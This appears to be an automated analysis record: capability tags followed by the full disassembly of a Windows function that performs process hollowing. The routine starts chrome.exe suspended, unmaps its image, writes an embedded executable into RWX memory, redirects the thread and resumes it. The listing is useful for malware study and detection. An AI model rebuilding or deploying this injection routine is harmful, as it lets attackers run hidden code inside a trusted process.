Function at 0x140002b90
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4e8]
sub rsp, 0x5e8
mov rax, qword [0x140349080]
xor rax, rsp
mov qword [rbp + 0x4d0], rax
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov dword [rbp - 0x50], 0x10000b
xor eax, eax
lea rcx, str.C:Program_FilesGoogleChromeApplicationchrome.exe
mov qword [rbp + 0x4c0], rax
xor ebx, ebx
mov qword [rsp + 0x60], rax
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rbp + 0x460]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
movups xmmword [rbp + 0x460], xmm0
movups xmmword [rbp + 0x470], xmm0
movups xmmword [rbp + 0x480], xmm0
movups xmmword [rbp + 0x490], xmm0
movups xmmword [rbp + 0x4a0], xmm0
movups xmmword [rbp + 0x4b0], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140002c8e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_creating_the_process:
call fcn.14000b4a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000b680]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002fee
mov eax, 0x5a4d
cmp word [0x140392db0], ax
je 0x140002cd4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error:_Invalid_DOS_signature.
call fcn.14000b4a0
lea rdx, [0x14000b680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x50]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140002fee
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x80]
mov qword [rsp + 0x600], rsi
mov qword [rsp + 0x608], rdi
movsxd rdi, dword [0x140392dec]
call qword [sym.imp.ntdll.dll_NtGetContextThread]
mov esi, eax
test eax, eax
je 0x140002d09
lea rdx, str.Error_getting_thread_context._Status:
jmp 0x140002d39
mov rdx, qword [rbp + 8]
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
mov esi, eax
test eax, eax
je 0x140002d75
lea rdx, str.Error_reading_virtual_memory._Status:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b4a0
mov edx, esi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000b680]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x50]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140002fde
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x610], r14
mov qword [rsp + 0x5e0], r15
lea r15, [0x140392db0]
cmp rdx, qword [rdi + r15 + 0x30]
lea r14, [rdi + r15]
jne 0x140002db7
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
test eax, eax
je 0x140002db7
lea rdx, str.Error_unmapping_view_of_section._Error:
jmp 0x140002f53
mov eax, dword [rdi + r15 + 0x50]
lea r9, [rbp + 0x458]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x28], 0x40
xor r8d, r8d
mov qword [rbp + 0x458], rax
mov qword [rsp + 0x68], rbx
mov dword [rsp + 0x20], 0x3000
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov esi, eax
test eax, eax
je 0x140002e1b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_allocating_memory_in_the_target_process._Status:
call fcn.14000b4a0
mov edx, esi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
jmp 0x140002f73
mov r9d, dword [rdi + r15 + 0x54]
lea rax, [rbp + 0x450]
mov rdx, qword [rsp + 0x68]
mov r8, r15
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140002e4f
lea rdx, str.Error_writing_headers_to_the_target_process._Error:
jmp 0x140002f53
cmp bx, word [rdi + r15 + 6]
jae 0x140002eb8
nop word [rax + rax]
mov eax, ebx
lea rcx, [rax + rax*4]
movsxd rax, dword [0x140392dec]
lea rdx, [rax + rcx*8]
mov rcx, qword [rsp + 0x50]
mov r8d, dword [rdx + r15 + 0x11c]
lea rax, [rbp + 0x450]
mov r9d, dword [rdx + r15 + 0x118]
add r8, r15
mov edx, dword [rdx + r15 + 0x114]
add rdx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002efc
movzx eax, word [rdi + r15 + 6]
inc ebx
cmp ebx, eax
jb 0x140002e60
mov eax, dword [rdi + r15 + 0x28]
lea r8, [r14 + 0x30]
add rax, qword [rsp + 0x68]
mov r9d, 8
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov qword [rbp], rax
lea rax, [rbp + 0x450]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140002f05
lea rdx, str.Error_writing_image_base_address_to_the_target_process._Error:
jmp 0x140002f53
lea rdx, str.Error_writing_section_to_the_target_process._Error:
jmp 0x140002f53
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x80]
call qword [sym.imp.ntdll.dll_NtSetContextThread]
mov ebx, eax
test eax, eax
je 0x140002f3a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_setting_thread_context._Status:
call fcn.14000b4a0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
jmp 0x140002f73
mov rcx, qword [rsp + 0x58]
xor edx, edx
call qword [sym.imp.ntdll.dll_NtResumeThread]
cmp eax, 0xffffffff
jne 0x140002f95
lea rdx, str.Error_resuming_thread._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b4a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14000b680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x50]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140002fce
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Code_injection_completed_successfully.
call fcn.14000b4a0
lea rdx, [0x14000b680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r14, qword [rsp + 0x610]
mov r15, qword [rsp + 0x5e0]
mov rsi, qword [rsp + 0x600]
mov rdi, qword [rsp + 0x608]
mov rcx, qword [rbp + 0x4d0]
xor rcx, rsp
call fcn.14010e890
add rsp, 0x5e8
pop rbx
pop rbp
ret